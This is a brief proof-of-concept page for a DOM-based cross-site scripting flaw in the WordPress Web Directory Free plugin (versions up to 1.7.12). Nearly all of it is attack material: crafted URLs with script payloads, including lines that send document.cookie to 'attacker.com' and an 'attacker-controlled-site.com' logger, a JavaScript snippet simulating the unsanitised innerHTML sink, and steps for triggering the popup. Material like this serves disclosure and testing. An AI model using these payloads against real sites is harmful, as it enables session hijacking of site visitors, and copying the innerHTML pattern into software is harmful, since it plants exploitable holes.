CVE-2025-69018

// CVE-2025-69018 PoC - DOM-based XSS in Web Directory Free Plugin // Target: WordPress Web Directory Free Plugin <= 1.7.12 // Attack Vector: Crafted URL with XSS payload // Payload can be injected through URL parameters that are processed client-side // Example malicious URL: // https://target-site.com/?s=<img src=x onerror=alert(document.cookie)> // Another payload example: // https://target-site.com/?search_term=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> // JavaScript PoC to demonstrate DOM-based XSS: (function(){ // Simulate the vulnerable code pattern var userInput = location.href.split('s=')[1] || ''; // Vulnerable: Direct DOM manipulation without sanitization document.getElementById('search-results').innerHTML = userInput; // In real attack, this would exfiltrate session cookies // fetch('https://attacker-controlled-site.com/log?data=' + encodeURIComponent(document.cookie)); })(); // Recommended testing: // 1. Install Web Directory Free plugin version <= 1.7.12 // 2. Navigate to a page with search functionality // 3. Append ?s=<script>alert('XSS')</script> to URL // 4. Observe if alert popup appears (confirms vulnerability)

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